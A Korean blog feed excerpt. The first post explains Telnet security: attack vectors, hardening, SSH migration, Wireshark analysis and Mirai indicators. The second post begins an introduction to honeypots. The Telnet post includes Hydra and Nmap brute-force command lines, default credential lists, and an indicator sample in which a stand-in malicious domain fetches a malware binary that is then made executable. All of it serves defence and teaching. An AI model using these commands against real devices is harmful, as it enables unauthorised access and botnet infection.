<h5 id="예시--특정-ip만-허용">예시 – 특정 IP만 허용</h5>
<pre><code class="language-conf"># /etc/hosts.allow
in.telnetd: 192.168.1.10

# /etc/hosts.deny
in.telnetd: ALL</code></pre>
<p>또한 <code>iptables</code> 또는 <code>firewalld</code>를 통해 특정 IP 또는 포트 수준에서의 접근 제어도 설정 가능</p>
<pre><code class="language-bash">sudo iptables -A INPUT -p tcp --dport 23 -s 192.168.1.10 -j ACCEPT</code></pre>
<hr>
<h2 id="4-telnet의-보안적-한계와-공격-벡터">4. Telnet의 보안적 한계와 공격 벡터</h2>
<h3 id="41-평문-전송에-따른-스니핑중간자-공격">4.1 평문 전송에 따른 스니핑/중간자 공격</h3>
<p>Telnet은 설계 당시 보안 고려가 거의 없었던 시대의 프로토콜로, <strong>모든 데이터가 암호화 없이 평문(plaintext)</strong> 으로 전송된다. 이는 사용자의 ID, 비밀번호, 입력 명령어, 출력 결과 등 모든 정보가 그대로 네트워크를 통해 전달됨을 의미하며, <strong>패킷 스니핑(packet sniffing)</strong> 이나 <strong>중간자 공격(Man-in-the-Middle, MITM)</strong> 에 매우 취약하다.</p>
<h4 id="대표적-공격-방식">대표적 공격 방식</h4>
<ul>
<li>공격자가 같은 네트워크 상에 있을 경우, Wireshark, tcpdump 같은 도구를 통해 사용자의 Telnet 로그인 정보와 세션 내용을 그대로 탈취할 수 있다.</li>
<li>ARP 스푸핑(ARP Spoofing)을 병행하여 중간자 위치를 인위적으로 형성한 뒤, Telnet 통신을 중간에서 가로채고 변조하는 것도 가능하다.</li>
</ul>
<p>실제로 대학 캠퍼스, 카페 공유 네트워크 등에서 보안이 설정되지 않은 공유기에 연결된 사용자의 Telnet 세션이 간단한 패킷 캡처로 노출된 사례가 다수 보고됨.</p>
<h3 id="42-인증-우회-및-백도어-접속-사례">4.2 인증 우회 및 백도어 접속 사례</h3>
<p>Telnet은 기본적으로 <strong>운영체제 수준의 사용자 계정 인증</strong>만을 사용하는데, 이 인증 절차조차 평문으로 노출되며, 시스템의 계정 보안에 직접 연결되는 구조로 인해 위험성이 높다.</p>
<h4 id="취약점-기반-인증-우회">취약점 기반 인증 우회</h4>
<ul>
<li>Telnet 데몬의 버퍼 오버플로우, 세션 핸들링 취약점, 패치되지 않은 취약한 서비스(<code>in.telnetd</code>) 등을 이용해 공격자가 인증 없이 셸 접속에 성공하는 사례가 존재.</li>
<li>예: CVE-2000-0920 — 특정 버전의 Solaris <code>in.telnetd</code>에서 포맷 스트링 취약점을 통해 루트 권한 획득</li>
</ul>
<h4 id="백도어-접속">백도어 접속</h4>
<p>공격자가 이미 침입한 시스템에 Telnet 서비스를 백그라운드에서 활성화시키고, 포트를 변경하거나 접근 로그를 남기지 않도록 설정하여 은밀한 백도어 경로로 사용하는 경우도 많다. <code>xinetd</code> 설정을 수정하거나, 직접 <code>telnetd</code>를 구동한 후 방화벽 설정을 우회하는 방식이다.</p>
<h3 id="43-자동화-공격-도구와-스캐닝-기법">4.3 자동화 공격 도구와 스캐닝 기법</h3>
<p>Telnet은 전형적인 레거시 서비스로 여전히 수많은 IoT 장비나 오래된 시스템에서 운영되고 있으며, 공격자들은 이를 표적으로 삼아 <strong>자동화된 스캐닝과 크리덴셜 브루트포싱 공격</strong>을 수행한다.</p>
<h4 id="주요-도구">주요 도구:</h4>
<ul>
<li><strong>Nmap</strong>: TCP 23번 포트가 열려 있는지를 확인하기 위한 스캔</li>
</ul>
<pre><code class="language-bash">nmap -p 23 --script telnet-brute &lt;target&gt;</code></pre>
<ul>
<li><strong>Hydra</strong>: ID/비밀번호 조합에 대한 사전 대입 공격</li>
</ul>
<pre><code class="language-bash">hydra -t 4 -l root -P passlist.txt telnet://&lt;target&gt;</code></pre>
<ul>
<li><strong>Metasploit Framework</strong>: <code>auxiliary/scanner/telnet/telnet_login</code> 모듈을 통해 대량의 시스템을 대상으로 자동 로그인 시도</li>
</ul>
<h4 id="공격자-기준전술적-접근">(공격자 기준)전술적 접근</h4>
<p>공격자는 대량의 IP 주소 범위를 대상으로 스캔한 후, Telnet이 열려 있는 장비에 대해 기본 크리덴셜(예: admin:admin, root:1234 등) 을 입력하여 접속 시도한다. 특히 IoT 장비에 자주 사용되는 기본 계정은 공개된 사전(wordlist)에 포함되어 있어 매우 쉽게 침입 가능하다.</p>
<h3 id="44-iot-디바이스-대상-실전-침해-사례">4.4 IoT 디바이스 대상 실전 침해 사례</h3>
<p>Telnet의 보안 취약점은 IoT 보안 침해의 핵심 루트 중 하나로 꼽힌다. 많은 IoT 장비가 기본적으로 Telnet 서비스를 열어두고 있으며, 관리자 계정도 기본값으로 고정되어 있는 경우가 많아 공격의 주 대상이 된다.</p>
<h4 id="유명-사례">유명 사례</h4>
<ul>
<li><p><strong>Mirai 봇넷 (2016)</strong></p>
<ul>
<li>IoT 장비에 탑재된 Telnet 포트를 스캔하여 기본 계정으로 접속.</li>
<li>접속에 성공하면 장비에 악성코드를 설치하고, 봇넷에 편입시켜 <strong>대규모 DDoS 공격</strong>에 이용함.</li>
<li>단 몇 주 만에 수십만 대의 IoT 기기를 감염시킴.</li>
</ul>
</li>
<li><p><strong>Hajime, Bashlite 등의 변종 봇넷</strong></p>
<ul>
<li>모두 Telnet을 주요 진입점으로 사용.</li>
<li>이들 악성코드는 Telnet을 통해 기기에 접근한 후, 시스템 정보를 수집하고 다른 기기 확산을 시도함.</li>
</ul>
</li>
</ul>
<h4 id="취약-장비-예">취약 장비 예</h4>
<ul>
<li>중국산 저가 CCTV, NAS, 공유기, 라우터 등.</li>
<li>네트워크에 연결된 상태에서 포트 23이 외부에 노출되어 있고, 계정 정보가 변경되지 않은 상태</li>
</ul>
<p>이러한 공격은 특히 운영자가 장비 초기 설정을 그대로 두었거나, 펌웨어 업데이트가 되지 않은 경우 치명적인 피해로 이어질 수 있다.</p>
<hr>
<h2 id="5-보안을-위한-telnet-보호-기법">5. 보안을 위한 Telnet 보호 기법</h2>
<h3 id="51-포트-필터링-및-접근제어-방법">5.1 포트 필터링 및 접근제어 방법</h3>
<p>Telnet은 기본적으로 <strong>TCP 23번 포트</strong>를 사용하며, 이를 외부에 무방비로 노출할 경우 자동화된 스캐닝 및 브루트포스 공격의 대상이 되기 쉽다. 따라서 <strong>포트 필터링과 ACL(Access Control List)</strong> 을 활용해 접근을 최소화하는 것이 1차 방어선이다.</p>
<ul>
<li><strong>Linux iptables 설정 예시</strong></li>
</ul>
<pre><code class="language-bash">iptables -A INPUT -p tcp --dport 23 -s 192.168.0.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 23 -j DROP</code></pre>
<p>이 예시는 내부 네트워크에서만 Telnet 접속을 허용하고, 외부 접속은 차단</p>
<ul>
<li><strong>방화벽 기반 필터링</strong></li>
</ul>
<p>기업 네트워크에서는 네트워크 레벨에서 포트 23을 기본 차단하고, 특별한 경우에만 IP 허용 목록(whitelist) 기반으로 개방한다. 이는 단순한 접근 차단을 넘어서 공격 표면 자체를 줄이는 데 효과적이다.</p>
<h3 id="52-접속-제한-및-세분화된-접근-통제">5.2 접속 제한 및 세분화된 접근 통제</h3>
<p>단순 포트 차단만으로는 불충분하며, <strong>서비스 단에서 사용자별/시간별/장치별로 접근을 제한</strong>할 수 있는 기능도 적극 활용해야 한다. Telnet은 이를 위해 다음과 같은 방법들을 사용할 수 있다:</p>
<ul>
<li><strong><code>/etc/hosts.allow</code> 및 <code>/etc/hosts.deny</code> 설정</strong>을 통한 접근 제어</li>
</ul>
<pre><code class="language-bash"># /etc/hosts.allow
in.telnetd: 192.168.1.100

# /etc/hosts.deny
in.telnetd: ALL</code></pre>
<ul>
<li><strong>xinetd 접근 통제 설정:</strong> <code>/etc/xinetd.d/telnet</code> 내에서 <code>only_from</code>, <code>no_access</code> 옵션으로 특정 호스트 제어 가능</li>
</ul>
<pre><code class="language-bash">only_from = 192.168.1.0/24
no_access = 10.0.0.0/8</code></pre>
<ul>
<li><strong>Fail2Ban 등 침입 시도 자동 차단 도구 사용:</strong> Telnet 로그를 실시간 감시하고, 다중 로그인 실패 시 IP 차단</li>
</ul>
<p>이러한 방식은 단순히 서비스 실행을 제어하는 것을 넘어, 정상 사용자만 Telnet을 활용할 수 있도록 하는 최소 권한 원칙(Least Privilege Principle) 을 적용하는 방식이다.</p>
<h3 id="53-ssh로의-마이그레이션-절차">5.3 SSH로의 마이그레이션 절차</h3>
<p>Telnet은 구조적으로 암호화가 불가능하므로, 궁극적인 보안 강화 방안은 SSH(Secure Shell)로의 전환이다. SSH는 동일한 기능을 제공하면서도 모든 통신을 공개키 기반으로 암호화하며, 추가적으로 키 인증, 파일 전송(SCP/SFTP), 터널링 기능도 제공한다.</p>
<h4 id="마이그레이션-절차-예시-ubuntu-기준">마이그레이션 절차 예시 (Ubuntu 기준):</h4>
<ol>
<li><strong>Telnet 서비스 비활성화</strong></li>
</ol>
<pre><code class="language-bash">sudo systemctl disable telnet.socket
sudo systemctl stop telnet.socket</code></pre>
<ol start="2">
<li><strong>OpenSSH 설치 및 활성화</strong></li>
</ol>
<pre><code class="language-bash">sudo apt install openssh-server
sudo systemctl enable ssh
sudo systemctl start ssh</code></pre>
<ol start="3">
<li><strong>SSH 키 기반 로그인 설정</strong></li>
</ol>
<ul>
<li><code>~/.ssh/authorized_keys</code> 에 공개키 등록</li>
<li><code>/etc/ssh/sshd_config</code>에서 <code>PasswordAuthentication no</code>로 설정 시 비밀번호 로그인 차단 가능</li>
</ul>
<ol start="4">
<li><strong>보안 강화 설정</strong></li>
</ol>
<ul>
<li>Root 로그인 비활성화 (<code>PermitRootLogin no</code>)</li>
<li>포트 변경 (<code>Port 22</code> → 다른 포트로 변경)</li>
<li>접속 제한 (<code>AllowUsers</code>, <code>AllowGroups</code> 설정)</li>
</ul>
<p>SSH로의 전환은 단순히 보안을 강화하는 것을 넘어, 원격 접속 및 자동화 시스템 전반의 신뢰성과 무결성을 확보하는 필수 절차로 간주된다.</p>
<h3 id="54-vpn-또는-gateway를-통한-보호">5.4 VPN 또는 Gateway를 통한 보호</h3>
<p>Telnet을 어떻게든 유지해야 할 환경이라면, 네트워크 자체를 보호할 수 있는 추가적인 계층 방어 구조가 필수다. 이 경우, VPN 또는 보안 게이트웨이를 통해 Telnet 세션을 암호화된 터널로 감싸는 방식을 사용할 수 있다.</p>
<h4 id="1-vpn-기반-보호">1. VPN 기반 보호</h4>
<ul>
<li>IPSec 또는 SSL 기반 VPN을 구성한 후, 내부망으로의 Telnet 접속을 VPN을 통해서만 허용</li>
<li>이 방식은 외부에서는 Telnet 포트가 노출되지 않으므로, 스캐닝 및 침투 시도 자체를 차단</li>
</ul>
<h4 id="2-bastion-host-또는-jump-server-구성">2. Bastion Host 또는 Jump Server 구성</h4>
<ul>
<li>내부망의 Telnet 대상 서버 앞에 중계 서버(Bastion Host) 를 두고, 외부 사용자는 SSH로 이 중계 서버에 접속한 후 Telnet을 사용</li>
<li>접근 로그, MFA 설정, 포트 포워딩 통제 등 추가 보안 요소를 함께 설정할 수 있음</li>
</ul>
<h4 id="3-tls-터널링-또는-stunnel-활용">3. TLS 터널링 또는 Stunnel 활용</h4>
<ul>
<li>Stunnel을 이용하여 Telnet을 TLS로 감싸는 방식으로 강제 암호화 계층 추가</li>
</ul>
<pre><code class="language-bash">[telnet]
accept = 992
connect = 23
cert = /etc/stunnel/stunnel.pem
key = /etc/stunnel/stunnel.key</code></pre>
<p>이러한 우회적 보안 방식은 Telnet을 완전히 배제할 수 없는 환경에서도 기본적인 보안 수준을 크게 향상시킬 수 있는 대안이 된다.</p>
<hr>
<h2 id="6-telnet-통신의-패킷-분석-및-리버스-엔지니어링">6. Telnet 통신의 패킷 분석 및 리버스 엔지니어링</h2>
<h3 id="61-wireshark로-telnet-세션-분석하기">6.1 Wireshark로 Telnet 세션 분석하기</h3>
<p>Telnet은 암호화되지 않은 평문 통신을 사용하기 때문에, Wireshark 같은 네트워크 패킷 분석 툴을 통해 손쉽게 통신 내용을 확인할 수 있다. 이는 보안 관점에서는 큰 취약점이지만, 교육, 포렌식, 리버스 엔지니어링 측면에서는 매우 유용한 분석 기회를 제공한다.</p>
<ul>
<li><strong>필터 설정</strong>  </li>
</ul>
<p>Telnet은 TCP 23번 포트를 사용하므로, Wireshark에서 다음과 같은 디스플레이 필터를 사용할 수 있다.</p>
<pre><code>tcp.port == 23</code></pre><pre><code>tcp.dstport == 23 || tcp.srcport == 23</code></pre><ul>
<li><strong>세션 내용 보기</strong>  </li>
</ul>
<p>Wireshark에서 Telnet 세션의 내용을 보려면, 패킷을 선택한 후 <code>Follow → TCP Stream</code>을 선택하면 된다. 이 기능은 클라이언트가 입력한 명령과 서버의 응답을 문자열로 볼 수 있게 해준다.</p>
<ul>
<li><strong>세션 식별 요소</strong>  </li>
</ul>
<p>Telnet 연결은 TCP 3-way handshake 후 IAC(Interpret As Command) 바이트(0xFF)로 시작하는 옵션 협상 패킷들로 구성되며, 이 초반 부분만 분석해도 클라이언트와 서버가 어떤 기능을 사용하도록 협의했는지 확인 가능하다.</p>
<h3 id="62-명령응답-구조-분석-방법">6.2 명령/응답 구조 분석 방법</h3>
<p>Telnet은 기본적으로 클라이언트-서버 간 텍스트 기반 상호작용이며, 내부적으로는 특정 제어 바이트를 통해 명령 협상이 이루어진다.</p>
<ul>
<li><strong>IAC 기반 명령 협상 구조</strong>  </li>
</ul>
<p>Telnet의 제어 명령은 모두 0xFF (IAC, Interpret As Command) 바이트로 시작한다. 그 뒤를 따르는 명령 코드는 다음과 같다:</p>
<table>
<thead>
<tr>
<th>명령</th>
<th>HEX</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>DO</td>
<td>FD</td>
<td>상대방에게 해당 옵션을 <strong>사용하라</strong>고 요청</td>
</tr>
<tr>
<td>DON&#39;T</td>
<td>FE</td>
<td>해당 옵션을 사용하지 말라고 요청</td>
</tr>
<tr>
<td>WILL</td>
<td>FB</td>
<td>자신이 해당 옵션을 <strong>사용하겠음</strong>을 선언</td>
</tr>
<tr>
<td>WON&#39;T</td>
<td>FC</td>
<td>자신이 해당 옵션을 사용하지 않겠음</td>
</tr>
</tbody></table>
<ul>
<li><strong>예시</strong></li>
</ul>
<pre><code class="language-java">IAC DO ECHO (0xFF 0xFD 0x01) → 클라이언트가 서버에게 echo 기능을 사용하라고 요청
IAC WILL SUPPRESS GO AHEAD (0xFF 0xFB 0x03) → 서버가 해당 옵션 사용을 선언</code></pre>
<ul>
<li><strong>데이터 전송 구조</strong>  </li>
</ul>
<p>협상 이후에는 단순한 텍스트 전송이며, 각 명령어는 <code>\r\n</code> 으로 구분된다. 따라서 Raw 패킷에서도 명령과 응답을 쉽게 분리해낼 수 있다.</p>
<p>이러한 구조는 커스텀 패킷 리플레이 도구 제작, 혹은 침해 대응 시 세션 재구성에 매우 유용하다.</p>
<h3 id="63-악성-telnet-세션의-행위-지표">6.3 악성 Telnet 세션의 행위 지표</h3>
<p>실제로 공격자들은 Telnet을 통해 매우 단순하지만 효과적인 초기 침투를 시도한다. <strong>평문 인증 구조, 포트 고정, 자동화 공격 도구 지원</strong> 등의 특징으로 인해 보안 상의 사각지대가 발생하기 쉽다.</p>
<h4 id="공통적인-iocindicators-of-compromise">공통적인 IoC(Indicators of Compromise)</h4>
<ul>
<li>단시간 내 수십~수백 건의 Telnet 접속 시도</li>
<li>사용자명/비밀번호로 <code>admin/admin</code>, <code>root/root</code>, <code>1234</code>, <code>guest</code> 등 잘 알려진 크리덴셜 사용</li>
<li>접속 후 바로 <code>wget</code>, <code>curl</code>, <code>tftp</code> 명령을 통한 바이너리 다운로드 시도</li>
<li>세션 내에서 <code>/bin/sh</code>, <code>chmod +x</code>, <code>nohup</code> 등의 명령 호출 확인</li>
</ul>
<h4 id="패턴-예시-wireshark-또는-로그-상">패턴 예시 (Wireshark 또는 로그 상)</h4>
<pre><code>&quot;Login: root&quot;
&quot;Password: 1234&quot;
&quot;BusyBox v1.21.1&quot;
&quot;wget http://malicious.domain/malware.arm7&quot;
&quot;chmod +x malware.arm7&quot;</code></pre><h4 id="로그-상-키워드로-탐지">로그 상 키워드로 탐지</h4>
<ul>
<li><code>telnetd[pid]: connection from</code></li>
<li><code>login incorrect</code></li>
<li><code>shell spawned</code></li>
</ul>
<p>이러한 행위 지표들은 SIEM, IDS, honeypot 등의 시스템에서 탐지 규칙으로 활용 가능하며, Telnet 기반 침투 시나리오의 초기 탐지 및 차단에 매우 효과적이다.</p>
<h3 id="64-telnet-기반-악성코드-mirai-등-분석-사례">6.4 Telnet 기반 악성코드 (Mirai 등) 분석 사례</h3>
<p>대표적인 Telnet 기반 악성코드로는 Mirai 봇넷이 있다. Mirai는 주로 IoT 장비의 기본 Telnet 포트를 노려 대규모 감염 및 DDoS 공격에 사용되었다.</p>
<h4 id="동작-원리-요약">동작 원리 요약</h4>
<ol>
<li>인터넷 전체를 대상으로 TCP 23, 2323 포트 스캔</li>
<li>Telnet 서비스에 접속 후 내장된 크리덴셜 딕셔너리로 로그인 시도</li>
<li>로그인 성공 시 대상 시스템에 명령어 전송 (ex. <code>wget</code>, <code>tftp</code>)</li>
<li>악성 바이너리 다운로드 및 실행</li>
<li>C2 서버와 통신 시작 및 명령 대기</li>
</ol>
<ul>
<li><strong>Mirai의 Telnet 크리덴셜 목록 예시</strong></li>
</ul>
<pre><code class="language-makefile">root:root
admin:admin
user:user
guest:guest</code></pre>
<h4 id="악성-행위-확인-지표">악성 행위 확인 지표</h4>
<ul>
<li>프로세스 명: <code>/bin/busybox MIRAI</code></li>
<li>비정상적인 Telnet outbound 접속</li>
<li>지속적인 포트 23 탐색 로그</li>
<li><code>netstat</code> 또는 <code>ps</code> 명령 실행 후 결과 숨김 시도</li>
</ul>
<h4 id="포렌식-분석-툴에서의-활용">포렌식 분석 툴에서의 활용</h4>
<ul>
<li><strong>Volatility</strong>로 메모리 덤프 분석 시, Telnet 세션 내 악성 명령 추적</li>
<li><strong>Suricata/Snort</strong>로 트래픽 기반 룰 생성</li>
</ul>
<p>Mirai 외에도 Gafgyt, Hajime 등의 여러 변종 악성코드가 Telnet을 통해 확산되었으며, 보안이 취약한 라우터, DVR, NAS, IP 카메라 등에서 높은 감염률을 보였다.</p>
<hr>
<h2 id="7-telnet의-활용-제한-그리고-필드에서의-사용">7. Telnet의 활용, 제한, 그리고 필드에서의 사용</h2>
<h3 id="71-네트워크-장비-설정에서의-실무-활용">7.1 네트워크 장비 설정에서의 실무 활용</h3>
<p>Telnet은 여전히 라우터, 스위치, 방화벽 등 네트워크 장비의 CLI 인터페이스에 접근하기 위한 관리 수단으로 사용되는 경우가 있다. 이는 특히 구형 네트워크 장비나, 기본 SSH 기능이 없는 저가형 장비에서 두드러진다.</p>
<h4 id="활용-예">활용 예</h4>
<ul>
<li>Cisco IOS 기반 장비에서 <code>line vty</code>를 통한 Telnet 설정</li>
<li>H3C, D-Link, MikroTik 등 일부 벤더의 초기 장비 접근</li>
<li>L2 스위치 설정 변경 시, 로컬 네트워크 내 빠른 CLI 접속 수단으로 사용</li>
</ul>
<h4 id="장점">장점</h4>
<ul>
<li>클라이언트 도구 설치 불필요 (기본 OS에 내장된 <code>telnet</code> 명령으로 가능)</li>
<li>빠른 연결 및 응답속도</li>
<li>일부 상황에서 SSH보다 적은 자원 소모</li>
</ul>
<h4 id="보안-단점">보안 단점</h4>
<ul>
<li>인증정보 및 명령어가 모두 평문 전송됨</li>
<li>세션 하이재킹 및 스니핑 위험 존재</li>
<li>관리자 IP 허용 목록 설정 등 추가 보완이 필수</li>
</ul>
<p>실무에서는 Telnet을 사용할 경우 ACL 설정, VLAN 분리, OOB 관리망 구성 등 추가 보안 조치가 필수적으로 병행되어야 한다.</p>
<h3 id="72-레거시-및-폐쇄망-환경에서의-사용">7.2 레거시 및 폐쇄망 환경에서의 사용</h3>
<p>폐쇄망(망분리, 내부망, SCADA 등)이나 레거시 시스템에서는 SSH가 도입되기 이전부터 Telnet이 기본 통신 수단으로 사용되고 있었기 때문에, 여전히 운영상 제거가 어려운 사례들이 존재한다.</p>
<ul>
<li><p><strong>대표적 적용 환경</strong></p>
<ul>
<li>병원 PACS 서버, 원격 진단 장비</li>
<li>공장 자동화 장비(HMI, PLC)</li>
<li>금융권 메인프레임 장비와의 연결</li>
<li>통신사 백오피스 시스템의 TTY 접속</li>
</ul>
</li>
<li><p><strong>사용 이유</strong></p>
<ul>
<li>SSH 미지원 장비 존재</li>
<li>폐쇄망 내 보안 리스크가 상대적으로 낮다고 판단</li>
<li>시스템 전체 변경 시 리스크와 비용이 매우 크기 때문</li>
</ul>
</li>
<li><p><strong>운영상 고려사항</strong></p>
<ul>
<li>접속 가능 IP 제한 (host.allow / firewall)</li>
<li>세션 로그의 저장 및 점검 (syslog, auditd)</li>
<li>가능하면 관리용 게이트웨이를 통해 Telnet 프록시 운용</li>
</ul>
</li>
</ul>
<p>이러한 환경에서는 VPN 내부 전용 접근, 혹은 접속 후 즉시 SSH로 이관하는 방식이 권장된다.</p>
<h3 id="73-포렌식에서의-telnet-로그-활용">7.3 포렌식에서의 Telnet 로그 활용</h3>
<p>Telnet 세션은 명령어 기반 상호작용의 특성상 정형화된 로그 패턴을 남기며, 이를 기반으로 포렌식 분석이 가능하다. 특히 사고 대응(IR) 및 침해 탐지(DFIR) 관점에서 유용하다.</p>
<h4 id="분석-가능한-로그-유형">분석 가능한 로그 유형</h4>
<ul>
<li><code>/var/log/secure</code> 또는 <code>auth.log</code>: 로그인 시도, 성공/실패 여부</li>
<li><code>bash_history</code>: 명령어 히스토리</li>
<li>Telnet 서버 자체 로그 (예: <code>telnetd</code>, <code>xinetd</code> 로그)</li>
<li>네트워크 캡처 (PCAP)에서 세션 추출</li>
</ul>
<h4 id="활용-예시">활용 예시</h4>
<ul>
<li>공격자가 접속 후 사용한 명령 추적</li>
<li>동일 공격자가 여러 시스템에 동일한 Telnet 접근 시도 여부 확인</li>
<li>악성 코드 설치 루트 및 백도어 개방 확인</li>
</ul>
<h4 id="로그-복원-및-추적-기법">로그 복원 및 추적 기법</h4>
<ul>
<li><code>tcpdump</code>로 캡처된 PCAP 파일에서 Telnet 세션 추출</li>
<li>Wireshark의 “Follow TCP Stream” 기능으로 행위 재구성</li>
<li>로그 상에서 시도된 로그인 계정 및 명령어 시퀀스 분석</li>
</ul>
<p>또한, Telnet 통신은 대부분 시간 정보와 함께 기록되므로 침투 시간대 추정, 내부 이동 경로 파악에도 매우 유용하다.</p>
<h3 id="74-보안-가이드라인에서의-telnet-제한">7.4 보안 가이드라인에서의 Telnet 제한</h3>
<p>대부분의 보안 가이드라인에서는 Telnet을 <strong>취약한 프로토콜로 명시하고 사용 금지를 권고</strong>하고 있다. 특히 인증 및 관리에 사용하는 경우, 이는 명백한 보안 위협으로 간주된다.</p>
<h4 id="대표-가이드라인의-권고">대표 가이드라인의 권고</h4>
<ul>
<li><strong>국가정보원 보안권고</strong>: Telnet, FTP, rlogin 등 평문 인증 프로토콜 사용 금지</li>
<li><strong>NIST SP 800-123</strong>: 서버 접근은 반드시 SSH 또는 SSL/TLS 기반으로 구성</li>
<li><strong>CIS Benchmarks</strong>: 불필요한 Telnet 서비스 비활성화, 필요 시 포트 접근 제한</li>
<li><strong>OWASP IoT Top 10</strong>: Telnet 기본 활성화는 &quot;불충분한 보안 설정&quot;으로 분류</li>
</ul>
<h4 id="보안-설정-예시">보안 설정 예시</h4>
<ul>
<li>Linux: <code>systemctl disable telnet.socket</code> 또는 <code>/etc/xinetd.d/telnet</code> 비활성화</li>
<li>Windows: <code>sc config tlntsvr start= disabled</code></li>
<li>네트워크 장비: <code>no service telnet</code>, <code>transport input ssh</code></li>
</ul>
<h4 id="감사-기준에서의-점검-항목">감사 기준에서의 점검 항목</h4>
<ul>
<li>불필요한 서비스 활성화 여부</li>
<li>관리 포트 보호 조치 유무</li>
<li>암호 정책, 인증 로그, 접근 제어 정책 등과의 연계</li>
</ul>
<p>보안 인증(ISMS, ISO27001, NIS 등) 에서도 Telnet 서비스가 발견될 경우, 관련 보호 대책이 수립되지 않았다면 위험 지적으로 이어질 수 있다.</p>
<hr>
<h2 id="8-마무리">8. 마무리</h2>
<p>조사, 정리, 작성 모두 역대급으로 힘들었던 주제였다. 시간만 거의 6시간은 쓴 것 같다.</p>
<p>텔넷을 대충만 배웠을 때는 그냥 &quot;암호화가 안 되어 위험한 프로토콜&quot; 정도로만 생각하고 넘어갔는데, 직접 파헤치기 시작하니 무슨 토란 줄기처럼 줄줄이...</p>
<p>그래도 정말 많이 공부가 된 것 같다. 리눅스 환경에서만 접해봤던 telnet을 조금 더 구체적으로 알아보고, 실제 환경에서 어떻게 취급되는지를 조금이나마 알아볼 수 있었던 시간이어서 뿌듯했다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) HoneyPot]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-HoneyPot</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-HoneyPot</guid>
            <pubDate>Mon, 14 Apr 2025 16:28:12 GMT</pubDate>
            <description><![CDATA[<h1 id="honey-pot">Honey Pot</h1>
<blockquote>
<p>computer security mechanism set to detect, deflect, or, in some manner, counteract attempts at unauthorized use of information systems</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/ed92e2e1-ef78-4e2d-b7b0-484a62eada88/image.png" alt=""></p>
<p>파이널 프로젝트와 구름 딥다이브 과정 수료까지 마치고, 이런저런 일들을 마치다 보니 거의 2달만에 작성하는 것 같다. 언제까지나 Daily로 작성하는 건 힘들겠지만, 그래도 휴학기간 동안은 Daily 작성 기조를 유지해보고자 한다.</p>
<p>아무튼 오늘의 주제는 허니팟이다. 사이버 보안 분야에서 공격자를 유인하여 그들의 행위를 관찰하고 분석하기 위한 중요한 도구인데, 이전의 다른 포스팅에서도 지나가듯 다룬 바 있다.</p>
<hr>
<h2 id="1-허니팟의-개요">1. 허니팟의 개요</h2>
<h3 id="11-허니팟의-정의와-목적">1.1 허니팟의 정의와 목적</h3>
<p><strong>허니팟(Honeypot)</strong> 은 사이버 공격자를 유인하고 그들의 행동을 분석하기 위해 고의적으로 취약하거나 민감한 시스템처럼 꾸며진 보안 메커니즘이다. 보통 실제 서비스를 제공하는 시스템처럼 보이지만, 실질적으로는 내부에 중요한 자산이 없고, 공격을 탐지하거나 정보를 수집하기 위한 목적으로 운영된다.</p>
<p>주요 목적은 다음과 같다.</p>
<ul>
<li><strong>공격 탐지</strong>: 방화벽이나 IDS를 우회한 침입을 실시간으로 파악</li>
<li><strong>공격자 행동 분석</strong>: 침입자의 수법, 도구, 명령 등을 관찰하고 패턴화</li>
<li><strong>위협 인텔리전스 수집</strong>: 최신 악성코드, 공격 트렌드, 취약점 악용 사례 등을 실시간으로 확보</li>
<li><strong>보안 훈련 및 테스트</strong>: 보안팀의 실습 환경 제공 및 방어 기술 검증</li>
</ul>
<p>허니팟은 보통 공격자를 속이기 위한 도구이자, 학습과 방어 향상을 위한 센서로 쓰인다.</p>
<h3 id="12-허니팟의-역사와-발전-배경">1.2 허니팟의 역사와 발전 배경</h3>
<p>허니팟이라는 개념은 1990년대 중반부터 보안 연구자들 사이에서 주목받기 시작했다. 아래는 그 주요 발전 흐름이다:</p>
<ul>
<li><p><strong>1990년대</strong>: Clifford Stoll의 「The Cuckoo&#39;s Egg」(1989)는 해커를 추적하는 과정에서 허니팟 개념을 암시적으로 소개. 이후 Fred Cohen 등이 고안한 <strong>&quot;deception tool&quot;</strong> 개념을 기반으로 실험적 허니팟이 개발됨.</p>
</li>
<li><p><strong>1998년</strong>: Lance Spitzner가 설립한 <em>The Honeynet Project</em> 는 본격적인 연구 기반의 허니팟 개발 및 배포를 주도. 해당 프로젝트는 허니팟의 학술적, 기술적 기반을 구축하는 데 큰 기여를 함.</p>
</li>
<li><p><strong>2000년대 초반</strong>: 로우 인터랙션 허니팟 툴킷인 <em>Honeyd</em>, 하이 인터랙션 허니넷 구축 프레임워크 등이 등장하면서 보편화되기 시작.</p>
</li>
<li><p><strong>2010년대 이후</strong>: 클라우드 환경, 산업 제어 시스템(ICS), IoT 장비 등 다양한 분야에서의 확장 적용이 이뤄짐. 머신 러닝 기반의 동적 분석 기술도 일부 적용되기 시작함.</p>
</li>
</ul>
<h3 id="13-허니팟이-보안-체계에서-갖는-역할">1.3 허니팟이 보안 체계에서 갖는 역할</h3>
<p>허니팟은 전통적인 보안 시스템과는 다르게 수동적 감시가 아닌 <strong>능동적 탐지 및 분석 도구</strong>로 활용된다. 일반적인 보안 체계에서 허니팟이 수행하는 역할은 다음과 같다:</p>
<ol>
<li><p><strong>침입 조기 탐지</strong>: 허니팟은 정상 사용자에 의해 접근될 일이 거의 없기 때문에, 외부에서의 접근 시 이를 <strong>잠재적 공격</strong>으로 간주할 수 있다. 이는 기존 보안 체계의 탐지율을 보완한다.</p>
</li>
<li><p><strong>오탐 방지와 노이즈 제거</strong>: 실제 서비스 트래픽과 구분된 공간에서 작동하기 때문에 <strong>정상 트래픽에 대한 오탐을 줄이고, 노이즈 없는 정확한 위협 정보</strong>를 수집할 수 있다.</p>
</li>
<li><p><strong>행위 기반 분석 데이터 제공</strong>: 정적 서명 기반 방어와는 달리, 공격자가 실제 허니팟 내부에서 어떤 명령을 내리는지, 어떻게 시스템을 스캔하거나 악용하는지를 실시간으로 기록함으로써 <strong>행위 기반 위협 분석</strong>이 가능해진다.</p>
</li>
<li><p><strong>취약점 탐지 및 위협 트렌드 분석</strong>: 최신 익스플로잇, 자동화 공격 도구, 악성 스크립트 등을 포착하여 <strong>위협 인텔리전스</strong> 데이터로 활용할 수 있다.</p>
</li>
